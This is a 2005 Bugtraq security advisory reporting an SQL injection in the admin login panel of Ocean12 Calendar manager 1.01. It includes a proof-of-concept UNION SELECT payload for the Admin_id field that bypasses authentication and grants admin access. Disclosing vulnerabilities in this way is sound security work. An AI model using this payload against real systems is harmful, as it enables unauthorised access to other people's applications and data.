[38455] in bugtraq
[HSC Security Group] Ocean12 Calendar manager 1.01 SQL injection
daemon@ATHENA.MIT.EDU (Zinho)
Wed Apr 20 12:36:25 2005
Date: 20 Apr 2005 14:35:08 -0000
Message-ID: <20050420143508.32597.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Zinho <zinho@hackerscenter.com>
To: bugtraq@securityfocus.com
Hackers Center Security Group (http://www.hackerscenter.com/)
Zinho's Security Advisory
Product: Ocean12 Calendar manager 1.01
Site: www.ocean12scripts.com
The admin login panel suffers of an sql injection that allows anyone
to log in as Admin.
Proof of concept:
///
- Admin_id: Admin' UNION ALL SELECT id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,i d,id FROM settings WHERE Admin_id='Admin
Admin_password: 1
///
Vendor has been contacted some weeks ago. No response received so far.
Author:
Zinho is webmaster and founder of http://www.hackerscenter.com ,
Security research portal
Secure Web Hosting Companies Reviewed:
http://www.securityforge.com/web-hosting/secure-web-hosting.asp
zinho-no-spam @ hackerscenter.com
